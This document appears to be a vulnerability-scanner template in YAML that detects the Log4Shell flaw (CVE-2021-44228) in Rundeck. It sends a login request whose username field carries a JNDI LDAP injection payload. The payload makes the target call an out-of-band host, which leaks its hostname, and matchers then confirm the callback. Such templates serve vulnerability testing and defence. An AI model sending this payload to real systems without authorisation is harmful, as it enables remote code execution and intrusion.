74 lines
2.3 KiB
YAML
74 lines
2.3 KiB
YAML
id: rundeck-log4j
|
|
|
|
info:
|
|
name: Rundeck - Remote Code Execution (Apache Log4j)
|
|
author: DhiyaneshDK
|
|
severity: critical
|
|
description: Rundeck is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
reference:
|
|
- https://docs.rundeck.com/docs/history/CVEs/log4j.html
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-77
|
|
cpe: cpe:2.3:a:pagerduty:rundeck:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: title:"Rundeck"
|
|
product: rundeck
|
|
vendor: pagerduty
|
|
tags: cve,cve2021,rce,jndi,log4j,rundeck,kev,oast
|
|
variables:
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /j_security_check HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Origin: {{BaseURL}}
|
|
Connection: close
|
|
Referer: {{BaseURL}}/user/login
|
|
|
|
j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=admin
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: location
|
|
words:
|
|
- '{{BaseURL}}/user/error'
|
|
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- interactsh_ip
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 2
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
# digest: 490a00463044022044366fa05bfc89fcbd81c7ccc42b140f4d85ab7e4ec40b4fc936a55fbba5fa130220403c5af9125ebaea433e86e65eb82d57dfabe281e4ef8c0d14188e4f123cf9f2:922c64590222798bb761d5b6d8e72950 |